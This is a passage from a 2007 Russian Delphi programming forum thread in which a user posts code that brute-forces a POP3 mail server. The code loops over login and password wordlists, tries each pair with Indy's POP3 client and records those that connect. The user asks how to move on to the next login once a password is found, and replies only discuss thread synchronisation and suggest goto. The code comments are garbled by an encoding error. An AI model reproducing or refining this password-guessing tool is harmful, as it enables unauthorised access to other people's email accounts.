| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

Проблема

Страницы:   < 1 2 3 >

Bast ©   (2007-08-21 01:19:00) 

Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
//Ïîïûòêà ñîåäèíåíèÿ.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.

---

Anatoly Podgoretsky   (2007-08-21 09:34:00) [41]

Что ты хочешь сделать?

---

Сергей М.   (2007-08-21 09:07:00) [42]

> хочу перейти сразу на другую строчку


"Сразу" это как ?
"На другую" это какую ?

Почему не выполняешь требования по синхронизации обращений к vcl-контролам с основным тредом ?

---

THandle   (2007-08-21 08:13:00) [43]

goto?

---

Страницы:   < 1 2 3 >

Наверх